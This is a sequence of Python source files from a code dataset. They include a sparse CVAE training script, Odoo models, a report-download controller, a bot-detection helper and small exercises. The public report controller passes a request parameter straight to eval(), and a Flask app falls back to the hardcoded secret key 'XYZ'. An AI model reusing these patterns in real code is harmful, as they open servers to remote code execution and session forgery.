atrib.values:\n if val == data[i][atrib.name].value:\n (newVariant[atrib])[val] = 1.0\n else:\n (newVariant[atrib])[val] = 0.0\n newVariant[modelRoot.name] = data[i].getclass().value\n # <-reading->\n revision(modelRoot, modelRoot, newVariant, [], cN)\n print(\"New table functions are:\")\n print(modelRoot.name, \" :\")\n for t in range(len(modelRoot.tableFunction)):\n print(modelRoot.tableFunction[t])\n print\n for i in range(len(modelRoot.children)):\n print((modelRoot.children[i]).name)\n for j in range(len((modelRoot.children[i]).tableFunction)):\n print((modelRoot.children[i]).tableFunction[j])\n print\n print(\"SEQUENTIAL FILE REVISION FINISHED.\")\n\n","sub_path":"pm/models/lib/proDEX.py","file_name":"proDEX.py","file_ext":"py","file_size_in_byte":40867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"265379892","text":"class Beast:\n dinner_menu = {\"chicken\": 20, \"broccoli\": 10, \"carrots\": 8, \"kale\": 10}\n\n def __init__(self, customers = {}, menu = {} , cust_order = [], funds = 0, total_price = 0, served = False):\n self.customers = customers\n self.menu = menu\n self.cust_order = cust_order\n self.total_price = total_price\n self.served = served\n self.funds = funds\n \n #Welcome Method\n #This method will take in customer information and print the menu afterwards.\n def welcome_cust(self):\n wel_cust = {}\n wel_cust[\"name\"] = input(\"May I have your name, please?\")\n wel_cust[\"email\"] = input(\"Your email?\")\n wel_cust[\"phone\"] = input(\"Lastly your phone number.\")\n self.add_customer(wel_cust[\"name\"], wel_cust[\"email\"], wel_cust[\"phone\"])\n self.print_menu()\n self.add_funds()\n self.add_to_cust_order()\n\n #Add funds to a Beast prepaid card\n def add_funds(self):\n fund_cust = input(\"Would you like to add funds to your Beast prepaid card?\")\n if fund_cust == \"yes\" or fund_cust == \"Yes\":\n x = input(\"How much would you like to add?\")\n self.funds += float(x)\n print(\"You now have $\",self.funds, \" on your Beast prepaid card.\")\n else:\n print(\"Cash or debit is fine then.\")\n \n #This method will run with the welcoming of every new customer\n def add_customer(self, name, email, phone):\n customer = {\"name\": name, \"email\": email, \"phone\": phone}\n self.customers[name] = customer\n print(self.customers)\n \n #Menu Methods\n def print_menu(self):\n print(\"Here's our menu:\")\n print(Beast.dinner_menu)\n\n #This method can also be used to update the price of existing items.\n def add_items_to_dinner_menu(self, item, price):\n self.dinner_menu[item] = price\n\n def remove_items_from_dinner_menu(self, item):\n del self.dinner_menu[item]\n\n #Customer Order and Total Price\n def add_to_cust_order(self):\n cust_item = input(\"Please choose an item on the menu to add to your order by entering that item.\")\n if cust_item == \"chicken\" or cust_item == \"Chicken\":\n self.cust_order.append(\"chicken\")\n self.total_price += 20\n print(\"You ordered\", self.cust_order,\"and your current total is $\",self.total_price,\".\")\n if cust_item == \"broccoli\" or cust_item == \"Broccoli\":\n self.cust_order.append(\"broccoli\")\n self.total_price += 10\n print(\"You ordered\", self.cust_order,\"and your current total is $\",self.total_price,\".\")\n if cust_item == \"carrots\" or cust_item == \"Carrots\":\n self.cust_order.append(\"carrots\")\n self.total_price += 8\n print(\"You ordered\", self.cust_order,\"and your current total is $\",self.total_price,\".\")\n if cust_item == \"kale\" or cust_item == \"Kale\":\n self.cust_order.append(\"kale\")\n self.total_price += 10\n print(\"You ordered\", self.cust_order,\"and your current total is $\",self.total_price,\".\")\n\n #Pricing methods\n def change_item_price(self, existing_item, price):\n self.dinner_menu[existing_item] = price\n\n def view_amount_owed(self):\n print(\"Your total amount owed is:\", self.total_price)\n\nset_1 = Beast()\n\nset_1.welcome_cust()\n#set_1.add_items_to_dinner_menu(\"cashews\", \"8\")\n#print(Beast.dinner_menu)\n#set_1.add_funds()\n#set_1.remove_items_from_dinner_menu(\"chicken\")\n#set_1.change_item_price(\"broccoli\", \"15\")\n#print(Beast.dinner_menu)\n#set_1.add_to_cust_order()\n#set_1.view_amount_owed()","sub_path":"resta_prog.py","file_name":"resta_prog.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"282740343","text":"from odoo import api, fields, models, SUPERUSER_ID, _\nfrom odoo.exceptions import UserError\n\n\nclass CostAllocationModuleactivemonthTable(models.Model):\n _name = 'costallocationmodule.activemonthtable'\n name = fields.Char(string=\"Acitve Month/Year\", compute='_onchange_Year', readonly=True)\n month_name = fields.Selection(\n [('January', 'January'), ('February', 'February'), ('March', 'March'), ('April', 'April'), ('May', 'May'),\n ('June', 'June'), ('July', 'July'), ('August', 'August'), ('September', 'September'), ('October', 'October'),\n ('November', 'November'), ('December', 'December')], string='Month Name', required=True)\n Year = fields.Selection([('2019', '2019'), ('2020', '2020')], string='Year', required=True)\n month_status = fields.Selection([('active', 'Active'), ('deactive', 'Deactive')], string='Status', required=True)\n\n @api.onchange('Year')\n def _onchange_Year(self):\n if self.Year:\n self.name = str(self.month_name) + \"-\" + str(self.Year)\n\n","sub_path":"models/CostAllocationmodule_activemonthtable.py","file_name":"CostAllocationmodule_activemonthtable.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"606778536","text":"import os\nimport numpy as np\nfrom keras.models import *\nfrom keras.layers import Input, merge, Conv2D, MaxPooling2D, UpSampling2D, Dropout, Cropping2D, Dense, Flatten, Reshape, Lambda, Multiply, Concatenate, Conv2DTranspose\nfrom keras.optimizers import *\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler, CSVLogger, TensorBoard, EarlyStopping\nfrom keras import backend as K\nfrom keras.utils import plot_model\nfrom support_defs import *\nfrom MyImageDataGenerator import *\nfrom keras.utils.training_utils import multi_gpu_model\nfrom CustomModelCheckpoint import *\nfrom IntermediateVisualizations_Callback import *\nfrom vgg16_local import *\nfrom KFoldCycleCallback import *\nfrom keras.metrics import mean_squared_error\nfrom keras.losses import binary_crossentropy\nfrom ssim_metric import *\nfrom msssim_metric import *\n# from get_model_memory_usage import *\nimport time, gc\nimport getopt\nimport pdb\n\n\nlog_device_placement = False\n\n\n#MKPC\ntries_each_IntReprVec = 4\n\nimages_size = (256,256)\n# original_dim = images_size[0] * images_size[0]\nmaskfname = './dataset_ge40North/mask_256.npy'\nsrcdatafile = './dataset_ge40North/PV_hgt_data_DJF_256_normed.npy'\n# internal_representations = [2,3,8,16,32,64,128]\n\n\nclass mkCVAE(object):\n def __init__(self, img_size, internal_representation = 128, start_num = 0, varname = 'HGT', srcfname = ''):\n\n self.start_num = start_num\n # self.gpu_num = gpu_num\n\n self.debug = True\n\n # MKPC\n self.GPUs_count = 1\n self.epochs = 150\n # self.current_batch_size = 2\n self.current_batch_size = 16 * self.GPUs_count\n\n self.epochs_to_cycle = 10\n self.image_size = img_size\n self.internal_representation = internal_representation\n self.varname = varname\n self.fnames_prefix = 'SpCVAE_4pv_clustering_%s_hiddim%04d_startnum%02d' % (self.varname, self.internal_representation, start_num)\n\n self.mask = np.load(maskfname)\n self.mask = np.expand_dims(self.mask, -1)\n if srcfname == '':\n raise Exception('you need to specify source data file! stopping.')\n elif not os.path.isfile(srcfname):\n raise FileNotFoundError('unable to find source data file:\\n%s' % srcfname)\n else:\n self.srcfname = srcfname\n\n\n def ComposeModel_singleGPU(self, metrics = []):\n img_input = Input(shape=tuple(list(self.image_size) + [1]), name='Encoder_Input_vgg16')\n Gray2RGB = Concatenate(axis=-1, name='Encoder_Gray2RGB_vgg16')([img_input, img_input, img_input])\n conv_base2 = VGG16_local(weights='imagenet', include_top=False,\n input_shape=(self.image_size[0], self.image_size[1], 3),\n weights_path='./vgg16/vgg16_weights_tf_dim_ordering_tf_kernels_notop.h5',\n layernames_postfix='_vgg16')\n conv_base2.trainable = False\n vgg_model = conv_base2(Gray2RGB)\n\n Encoder_Flatten = Flatten()(vgg_model)\n Flatten_length = Encoder_Flatten._keras_shape[1]\n Encoder_Dropout03 = Dropout(0.2, name='Encoder_Dropout03')(Encoder_Flatten)\n Encoder_Dense_01 = Dense(4096, activation='relu', name='Encoder_Dense_01')(Encoder_Dropout03)\n Encoder_Dropout04 = Dropout(0.2, name='Encoder_Dropout04')(Encoder_Dense_01)\n Encoder_Dense_02 = Dense(512, activation='relu', name='Encoder_Dense_02')(Encoder_Dropout04)\n\n z_mean = Dense(self.internal_representation, activation='sigmoid', name='z_mean')(Encoder_Dense_02)\n z_log_var = Dense(self.internal_representation, activation='relu', name='z_log_var')(Encoder_Dense_02)\n\n z_combined = Concatenate(name='z_combined')([z_mean, z_log_var])\n\n z = Lambda(sampling, output_shape=(self.internal_representation,), name='z')([z_mean, z_log_var])\n\n encoder = Model(img_input, [z_mean, z_log_var, z, z_combined])\n for l in encoder.layers:\n if 'vgg16' in l.name:\n l.trainable = False\n else:\n l.trainable = True\n\n plot_model(encoder, to_file='./output/' + self.fnames_prefix + '_Encoder_model_structure.png', show_shapes=True)\n with open('./output/' + self.fnames_prefix + '_Encoder_model_structure.txt', 'w') as fh:\n encoder.summary(print_fn=lambda x: fh.write(x + '\\n'))\n\n # Decoder_Zsampling_input = Input(shape=(self.internal_representation,), name='Decoder_Zsampling_input')\n Decoder_mask_input = Input(shape=tuple(list(self.image_size) + [1]), name='Decoder_mask_input')\n\n Decoder_Dense_01 = Dense(512, activation='relu', name='Decoder_Dense_01')(z)\n Decoder_drop_01 = Dropout(0.2, name='Decoder_drop_01')(Decoder_Dense_01)\n Decoder_Dense_02 = Dense(4096, activation='relu', name='Decoder_Dense_02')(Decoder_drop_01)\n Decoder_Dropout02 = Dropout(0.2, name='Decoder_Dropout02')(Decoder_Dense_02)\n Decoder_Dense_03 = Dense(Flatten_length, activation='relu', name='Decoder_Dense_03')(Decoder_Dropout02)\n k_size = np.int32(np.sqrt(Flatten_length / 512))\n Decoder_Reshape_01 = Reshape((k_size, k_size, 512), name='Decoder_Reshape_01')(Decoder_Dense_03)\n\n Decoder_UpSampling2D_01 = UpSampling2D(size=(2, 2), name='Decoder_UpSampling2D_01')(Decoder_Reshape_01)\n Decoder_Conv2DTranspose_0101 = Conv2D(512, (3, 3), strides=1, activation='relu', padding='same', kernel_initializer='he_normal', name='Decoder_Conv2DTranspose_0101')(Decoder_UpSampling2D_01)\n Decoder_Conv2DTranspose_0102 = Conv2D(512, (3, 3), strides=1, activation='relu', padding='same', kernel_initializer='he_normal', name='Decoder_Conv2DTranspose_0102')(Decoder_Conv2DTranspose_0101)\n Decoder_UpSampling2D_02 = UpSampling2D(size=(2, 2), name='Decoder_UpSampling2D_02')(Decoder_Conv2DTranspose_0102)\n Decoder_Conv2DTranspose_0201 = Conv2D(256, (3, 3), strides=1, activation='relu', padding='same', kernel_initializer='he_normal', name='Decoder_Conv2DTranspose_0201')(Decoder_UpSampling2D_02)\n Decoder_Conv2DTranspose_0202 = Conv2D(256, (3, 3), strides=1, activation='relu', padding='same', kernel_initializer='he_normal', name='Decoder_Conv2DTranspose_02')(Decoder_Conv2DTranspose_0201)\n Decoder_UpSampling2D_03 = UpSampling2D(size=(2, 2), name='Decoder_UpSampling2D_03')(Decoder_Conv2DTranspose_0202)\n Decoder_Conv2DTranspose_0301 = Conv2D(128, (3, 3), strides=1, activation='relu', padding='same', kernel_initializer='he_normal', name='Decoder_Conv2DTranspose_0301')(Decoder_UpSampling2D_03)\n Decoder_Conv2DTranspose_0302 = Conv2D(128, (3, 3), strides=1, activation='relu', padding='same', kernel_initializer='he_normal', name='Decoder_Conv2DTranspose_0302')(Decoder_Conv2DTranspose_0301)\n Decoder_UpSampling2D_04 = UpSampling2D(size=(2, 2), name='Decoder_UpSampling2D_04')(Decoder_Conv2DTranspose_0302)\n Decoder_Conv2DTranspose_0401 = Conv2D(64, (3, 3), strides=1, activation='relu', padding='same', kernel_initializer='he_normal', name='Decoder_Conv2DTranspose_0401')(Decoder_UpSampling2D_04)\n Decoder_Conv2DTranspose_0402 = Conv2D(64, (3, 3), strides=1, activation='relu', padding='same', kernel_initializer='he_normal', name='Decoder_Conv2DTranspose_0402')(Decoder_Conv2DTranspose_0401)\n Decoder_UpSampling2D_05 = UpSampling2D(size=(2, 2), name='Decoder_UpSampling2D_05')(Decoder_Conv2DTranspose_0402)\n Decoder_Conv2DTranspose_0501 = Conv2D(32, (3, 3), strides=1, activation='relu', padding='same', kernel_initializer='he_normal', name='Decoder_Conv2DTranspose_0501')(Decoder_UpSampling2D_05)\n Decoder_Conv2DTranspose_0502 = Conv2D(32, (3, 3), strides=1, activation='relu', padding='same', kernel_initializer='he_normal', name='Decoder_Conv2DTranspose_0502')(Decoder_Conv2DTranspose_0501)\n Decoder_Conv2DTranspose_06_out = Conv2D(1, (3, 3), strides=1, activation='sigmoid', padding='same', name='Decoder_Conv2DTranspose_06_out')(Decoder_Conv2DTranspose_0502)\n DecoderMaskedOutput = Multiply(name='DecoderMaskedOutput')([Decoder_Conv2DTranspose_06_out, Decoder_mask_input])\n\n # SqueezedOutput = Lambda(lambda x: K.squeeze(x, -1), name='SqueezedOutput')(Decoder_Conv2D_07_out)\n # DecoderMaskedOutput = Multiply(name='DecoderMaskedOutput')([Decoder_Conv2DTranspose_06_out, Decoder_mask_input])\n\n # decoder = Model([Decoder_Zsampling_input, Decoder_mask_input], DecoderMaskedOutput, name='Decoder')\n\n\n # plot_model(decoder, to_file='./output/' + self.fnames_prefix + '_Decoder_model_structure.png', show_shapes=True)\n # with open('./output/' + self.fnames_prefix + '_Decoder_model_structure.txt', 'w') as fh:\n # decoder.summary(print_fn=lambda x: fh.write(x + '\\n'))\n\n # model_output = decoder([z, Decoder_mask_input])\n # model = Model([img_input, Decoder_mask_input], [model_output, z_combined], name='pv_CVAE')\n model = Model([img_input, Decoder_mask_input], [DecoderMaskedOutput, z_combined], name='pv_CVAE_VGG')\n for l in model.layers:\n if 'vgg16' in l.name:\n l.trainable = False\n else:\n l.trainable = True\n\n plot_model(model, to_file='./output/' + self.fnames_prefix + '_model_structure.png', show_shapes=True)\n with open('./output/' + self.fnames_prefix + '_model_structure.txt', 'w') as fh:\n model.summary(print_fn=lambda x: fh.write(x + '\\n'))\n\n self.template_model = model\n self.encoder = encoder\n # self.decoder = decoder\n\n model.compile(optimizer=Adam(lr=1e-4),\n loss= {'DecoderMaskedOutput': 'binary_crossentropy',\n 'z_combined': SpVAE_loss(rho=0.1,\n beta=0.1,\n debug=True,\n logfile='./logs/' + self.fnames_prefix + '_SpVAE_loss_debug.log')},\n loss_weights={'DecoderMaskedOutput': self.image_size[0] * self.image_size[1],\n 'z_combined': 1.0},\n metrics=metrics)\n return model\n\n\n\n\n def get_cae(self, metrics = []):\n if self.GPUs_count <= 1:\n return self.ComposeModel_singleGPU(metrics=metrics)\n\n\n\n def train(self):\n EnsureDirectoryExists('./output/')\n EnsureDirectoryExists('./logs/')\n\n\n\n config = tf.ConfigProto(allow_soft_placement=True, log_device_placement = log_device_placement, device_count={'CPU': 1, 'GPU': self.GPUs_count})\n config.gpu_options.allow_growth = True\n session = tf.Session(config=config)\n K.set_session(session)\n\n\n metrics = [SSIMMetric(), custom_MSE, MSSSIMMetric(average=False, debug=True, logfile='./logs/' + self.fnames_prefix + '_MSSSIMMetric_debug.log')]\n\n model = self.get_cae(metrics)\n print(\"got CVAE\")\n\n print(\"loading data\")\n datagen = MyImageDataGenerator(srcdatafile=self.srcfname,\n val_folds=5,\n test_split_ratio=0.2,\n image_size=self.image_size,\n maskfile=maskfname,\n model_internal_representation_length = self.internal_representation)\n\n train_generator = datagen.flow(None, batch_size=self.current_batch_size, category='train')\n val_generator = datagen.flow(None, batch_size=self.current_batch_size, category='val')\n\n\n filepathSSIMMetric = './logs/' + self.fnames_prefix + '_epoch{epoch:04d}-MSSSIM_{monitorvalue:.6f}.hdf5'\n checkpointingSSIMMetric = CustomModelCheckpoint(self.template_model, filepathSSIMMetric, monitor='val_DecoderMaskedOutput_MSSSIMMetric', verbose=1, save_best_only=True, mode='min')\n filepathLossMetric = './logs/' + self.fnames_prefix + '_epoch{epoch:04d}-LOSS_{monitorvalue:.6f}.hdf5'\n checkpointingLoss = CustomModelCheckpoint(self.template_model, filepathLossMetric, monitor='val_loss', verbose=1, save_best_only=True, mode='min')\n cycle_train_val_sets = KFoldCycleCallback(datagen, epochs_to_cycle = self.epochs_to_cycle)\n csv_logger = CSVLogger('./logs/' + self.fnames_prefix + 'train_progress.csv', separator=';', append=True, )\n tb_callback = TensorBoard(log_dir='./logs/TBoard/' + self.fnames_prefix + '/', write_graph=True)\n lrCallback = LearningRateScheduler(step_decay, verbose=1)\n EarlyStoppingCallback = EarlyStopping(monitor='val_DecoderMaskedOutput_MSSSIMMetric', min_delta=0., patience=100, verbose=1, mode='max')\n InterVis = IntermediateVisualizations(png_filepath_template = './logs/' + self.fnames_prefix + '_encodings_epoch{epoch:04d}.png',\n decoded_filepath_template ='./logs/' + self.fnames_prefix + '_decoded_epoch{epoch:04d}.npy',\n testdata_filename_template ='./logs/' + self.fnames_prefix + '_testdata.npy',\n models_to_eval = (self.encoder, self.template_model),\n mask = self.mask,\n testdata = np.expand_dims(datagen.srcdata[datagen.test_indices], -1),\n varname = self.varname,\n period = 1,\n batch_size = self.current_batch_size)\n\n print('Fitting model...')\n\n start = time.time()\n\n\n history = model.fit_generator(train_generator,\n steps_per_epoch = datagen.dataset_length_batches(category='train', batch_size = self.current_batch_size),\n epochs = self.epochs,\n validation_data = val_generator,\n validation_steps = datagen.dataset_length_batches(category='val', batch_size=self.current_batch_size),\n callbacks=[checkpointingSSIMMetric, checkpointingLoss, csv_logger, tb_callback, cycle_train_val_sets, lrCallback, EarlyStoppingCallback, InterVis])\n\n\n end = time.time()\n\n with open('./output/' + self.fnames_prefix + 'model.json', \"w\") as json_file:\n json_file.write(self.template_model.to_json())\n self.template_model.save('./output/'+ self.fnames_prefix +'weights.h5')\n\n print('loading test data')\n test_generator = datagen.flow(None, batch_size=self.current_batch_size, category='test')\n\n print('evaluating final model...')\n final_eval_result = model.evaluate_generator(test_generator, steps=datagen.dataset_length_batches(category='test', batch_size=self.current_batch_size))\n print(final_eval_result)\n\n K.clear_session()\n gc.collect()\n\n print(\"training time for %d epochs: %.2fs = %.2fHrs\" % (len(list(history.history.values())[0]), (end - start), (end - start) / 3600.0))\n with open('./logs/' + self.fnames_prefix + 'train_summary.txt', 'w') as f:\n f.writelines(\"training time for %d epochs: %.2fs = %.2fHrs\" % (len(list(history.history.values())[0]), (end - start), (end - start) / 3600.0))\n f.writelines('\\n\\nevaluating final model:')\n f.writelines(str(final_eval_result))\n\n\n\n\n\n\n\nif __name__ == '__main__':\n input_args = sys.argv[1:]\n opts, args = getopt.getopt(input_args, \"\", [\"hiddim=\", \"startidx=\", \"varname=\", \"srcfname=\"])\n\n if ('--hiddim' in [opt[0] for opt in opts]):\n internal_representation = int([opt for opt in opts if opt[0] == '--hiddim'][0][1])\n else:\n internal_representation = 128\n\n if ('--startidx' in [opt[0] for opt in opts]):\n start_idx = int([opt for opt in opts if opt[0] == '--startidx'][0][1])\n else:\n start_idx = 0\n\n if ('--varname' in [opt[0] for opt in opts]):\n varname = str([opt for opt in opts if opt[0] == '--varname'][0][1])\n else:\n varname = 'HGT'\n\n\n if ('--srcfname' in [opt[0] for opt in opts]):\n srcfname = str([opt for opt in opts if opt[0] == '--srcfname'][0][1])\n else:\n # srcfname = srcdatafile\n srcfname = ''\n\n\n for tryIdx in range(start_idx, tries_each_IntReprVec):\n myCVAE = mkCVAE(img_size = images_size,\n internal_representation = internal_representation,\n start_num = tryIdx,\n varname = varname,\n srcfname=srcfname)\n try:\n myCVAE.train()\n except Exception as ex1:\n err_fname = './logs/' + myCVAE.fnames_prefix + 'errors.log'\n exc_type, exc_value, exc_traceback = sys.exc_info()\n with open(err_fname, 'a') as errf:\n traceback.print_tb(exc_traceback, limit=None, file=errf)\n traceback.print_exception(exc_type, exc_value, exc_traceback, limit=None, file=errf)\n print(str(ex1))\n del myCVAE\n K.clear_session()\n gc.collect()\n\n print('\\n\\nFINISHED')","sub_path":"cvae_for_pv_clustering_VGG_sparse.py","file_name":"cvae_for_pv_clustering_VGG_sparse.py","file_ext":"py","file_size_in_byte":17509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"308729106","text":"\nfrom mesh.standard import Resource\nfrom scheme.fields import *\n\n\n__all__ = ('Permission',)\n\n\nclass Permission(Resource):\n \"\"\"Permission resource\"\"\"\n name = 'Permission'\n requests = 'create delete get query update'\n version = 1\n \n class schema:\n id = UUID(nonempty=True)\n name = Text(nonempty=True)\n resourceregistry = Structure({\n 'bundle': Text(nonempty=True),\n 'resource': Text(nonempty=True),\n 'request': Text(nonempty=True),\n }, nonempty=True, onupdate=False)\n subject = UUID(onupdate=False)\n status = Enumeration('active inactive', nonnull=True, default='active')\n","sub_path":"mesh/yabl/tap/resources/permission.py","file_name":"permission.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"24307540","text":"import re\n\n\ndef is_robot(user_agent):\n if user_agent:\n user_agent = unicode(user_agent).lower()\n\n # We mark something as a bot if it contains any of the $bot_indicators\n # or if it does not contain one of the $browser_indicators. In addition,\n # if the user-agent string contains \"mozilla\" we make sure it has version\n # information. Finally anything that starts with a word in the $whitelist\n # is never considered a bot.\n\n whitelist = ('w3m', 'dillo', 'links', 'elinks', 'lynx')\n for agent in whitelist:\n if agent in user_agent:\n return False\n\n bot_indicators = ('bot', 'spider', 'search', 'jeeves', 'crawl', 'seek',\n 'heritrix', 'slurp', 'thumbnails', 'capture', 'ferret',\n 'webinator', 'scan', 'retriever', 'accelerator',\n 'upload', 'digg', 'extractor', 'grub', 'scrub')\n for agent in bot_indicators:\n if agent in user_agent:\n return True\n\n browser_indicators = ('mozilla', 'browser', 'iphone', 'lynx', 'mobile',\n 'opera', 'icab')\n has_browser_indicator = False\n for agent in browser_indicators:\n if agent in user_agent:\n has_browser_indicator = True\n break\n\n if not has_browser_indicator:\n return True\n\n # Check for mozilla version information\n if 'mozilla' in user_agent:\n if '(' not in user_agent:\n return True\n if not re.search(r'mozilla/\\d+', user_agent):\n return True\n\n return False\n","sub_path":"km/helpers/is_robot.py","file_name":"is_robot.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"130440577","text":"# -*- coding: utf-8 -*-\nfrom odoo import http\nimport io\nimport os\nimport re\nfrom docx import Document\nfrom openpyxl import load_workbook\nfrom odoo.modules.module import get_module_path\n\nfrom ..models.utils import docx_replace_regex, xlsx_replace_regex, docx_replace_image\n\n\nparallel_diagram = {\n '缸体对柱塞作用力变化曲线': 'piston_check_diagram1',\n '柱塞副比压变化曲线': 'piston_check_diagram2',\n '柱塞相对缸体移动速度变化曲线': 'piston_check_diagram3',\n '柱塞副PV值变化曲线': 'piston_check_diagram4',\n '柱塞副泄漏量变化曲线': 'piston_check_diagram5',\n '柱塞弯矩最大处应力变化曲线': 'piston_check_diagram6',\n '柱塞颈部弯矩最大处应力变化曲线': 'piston_check_diagram7',\n '柱塞对滑靴压紧力变化曲线(阻尼管型)': 'plunger_design_diagram1',\n '柱塞对滑靴压紧力变化曲线(剩余压紧力型)': 'plunger_design_diagram2',\n '滑靴副比压变化曲线': 'plunger_check_diagram1',\n '滑靴滑动速度变化曲线': 'plunger_check_diagram2',\n '滑靴副PV值变化曲线': 'plunger_check_diagram3',\n '单个柱塞所需弹簧力': 'spring_design_diagram1',\n}\n\n\ntilting_diagram = {\n '斜盘倾角为φ时,任意α角时柱塞位移S变化曲线': 'kinematics_calculation_diagram1',\n '斜盘倾角为φ时,柱塞沿其轴线相对转子的运动速度v变化曲线': 'kinematics_calculation_diagram2',\n '斜盘倾角为φ时,柱塞沿其轴线相对转子运动的加速度j变化曲线': 'kinematics_calculation_diagram3',\n '柱塞孔油压作用力Fu1变化曲线': 'dynamics_calculation_diagram1',\n '转子腔油压作用力Fu2变化曲线': 'dynamics_calculation_diagram2',\n '柱塞弹簧力Ft1变化曲线': 'dynamics_calculation_diagram3',\n '柱塞相对运动惯性力Fg变化曲线': 'dynamics_calculation_diagram4',\n '柱塞离心惯性力FL变化曲线': 'dynamics_calculation_diagram5',\n '哥式惯性力FK变化曲线': 'dynamics_calculation_diagram6',\n '柱塞与孔摩擦力Fu变化曲线': 'dynamics_calculation_diagram7',\n '单个柱塞对斜盘的总作用力Fs变化曲线': 'dynamics_calculation_diagram8',\n '单个柱塞对斜盘的作用力MA矩变化曲线': 'dynamics_calculation_diagram9',\n '全部柱塞对斜盘的总作用力矩∑MA1变化曲线': 'dynamics_calculation_diagram10',\n '柱塞支承长度L0变化曲线': 'piston_pressure_check_image1',\n '柱塞支承面单位压力Ps变化曲线': 'piston_pressure_check_image2'\n}\n\n\nclass PumpManager(http.Controller):\n @http.route('/web/binary/download_report', type='http', auth=\"public\")\n # @serialize_exception\n def download_report(self, model, id, context=None, **kw):\n # cr, uid, context = http.request.cr, http.request.uid, http.request.context\n Model = http.request.registry[model]\n context = eval(context)\n fp = io.BytesIO()\n\n record = http.request.env[model].search([('id', '=', id)])\n filename = str()\n\n category = str()\n if Model._name == 'parallel.plunger.pump':\n category = 'parallel_plunger'\n elif Model._name == 'tilting.plunger.pump':\n category = 'tilting_plunger'\n\n keys = sorted(context['keys'], key=lambda i: len(i), reverse=True)\n if context['type'] == 'excel':\n filename = '%s_%s.xlsx' % (context['stage'], id)\n path = os.path.join(get_module_path(Model._module),\n 'static/templates/%s/%s/%s.xlsx' % (category, context['stage'], context['stage']))\n xlsx = load_workbook(path)\n\n for key in keys:\n regex = re.compile(key)\n replace = record[key]\n xlsx_replace_regex(xlsx, regex, replace)\n xlsx.save(fp)\n elif context['type'] == 'word':\n if context.get('target'):\n filename = '%s_%s_honglin.docx' % (context['stage'], id)\n path = os.path.join(get_module_path(Model._module),\n 'static/templates/%s/%s/%s_honglin.docx' % (category, context['stage'], context['stage']))\n else:\n filename = '%s_%s.docx' % (context['stage'], id)\n path = os.path.join(get_module_path(Model._module),\n 'static/templates/%s/%s/%s.docx' % (category, context['stage'], context['stage']))\n\n doc = Document(path)\n for key in keys:\n regex = re.compile(key)\n replace = record[key]\n docx_replace_regex(doc, regex, replace)\n\n if category == 'parallel_plunger':\n diagram_list = parallel_diagram\n else:\n diagram_list = tilting_diagram\n\n for key in diagram_list:\n regex = re.compile(key)\n replace = record[diagram_list[key]]\n docx_replace_image(doc, regex, replace)\n # docx_replace_image(doc, re.compile('初步计算轴径'), record.piston_check_diagram2)\n doc.save(fp)\n\n filecontent = fp.getvalue()\n if not filecontent:\n return http.request.not_found()\n else:\n if not filename:\n filename = '%s_%s' % (model.replace('.', '_'), id)\n return http.request.make_response(filecontent,\n [('Content-Type', 'application/octet-stream'),\n ('Content-Disposition', http.content_disposition(filename))])","sub_path":"controllers/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":5587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"444216983","text":"import sys\n# Given: A positive integer n (3≤n≤10000).\n\n# Return: The number of internal nodes of any unrooted binary tree having n leaves.\nfile_path = sys.argv[1]\n\nwith open(file_path,'r') as file_object:\n n = int(file_object.read())\n\nprint(n-2) # derived from my bioinformatics lecture","sub_path":"Bioinformatics_Stronghold/Counting_Phylogenetic_Ancestors.py","file_name":"Counting_Phylogenetic_Ancestors.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"242953215","text":"import numpy as np\r\n\r\n# Forward Propagation code\r\ninput_data = np.array([1, 1])\r\nweights = {\r\n 'node_00': np.array([2, 4]),\r\n 'node_01': np.array([4, -5]),\r\n 'node_10': np.array([0, 1]),\r\n 'node_11': np.array([1, 1]),\r\n 'output': np.array([5, 1])\r\n}\r\n\r\ndef iden(value):\r\n return max(-1, value)\r\n\r\n# first hidden layer\r\nnode_00_input = (input_data * weights[\"node_00\"]).sum()\r\nnode_00_output = iden(node_00_input)\r\n\r\n\r\nnode_01_input = (input_data * weights['node_01']).sum()\r\nnode_01_output = iden(node_01_input)\r\n\r\n# second hidden layer\r\nnode_layer_1 = np.array([node_00_output, node_01_output])\r\n\r\nnode_10_input = (node_layer_1 * weights[\"node_10\"]).sum()\r\nnode_10_output = iden(node_10_input)\r\n\r\n\r\nnode_11_input = (node_layer_1 * weights['node_11']).sum()\r\nnode_11_output = iden(node_11_input)\r\n\r\n#output\r\nnode_layer_2 = np.array([node_10_output, node_11_output])\r\noutput = (node_layer_2 * weights['output']).sum()\r\nprint(output)","sub_path":"datacamp-deep_learning_introduction/neural network.py","file_name":"neural network.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"209039702","text":"import os\nimport psycopg2\nfrom flask import Flask, render_template, g, redirect, url_for, session, request, jsonify\nfrom flask_oauthlib.client import OAuth\n\nfrom flask_debugtoolbar import DebugToolbarExtension\nimport logging\nimport json\nimport random\n\nfrom werkzeug.utils import secure_filename\n\nALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'])\n\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', 'XYZ')\ntoolbar = DebugToolbarExtension(app)\noauth = OAuth(app)\n\n\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\nUPLOAD_FOLDER = os.path.join(APP_ROOT, 'static')\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\nclass usr:\n def __init__(self,usr_dict):\n self.firstName = 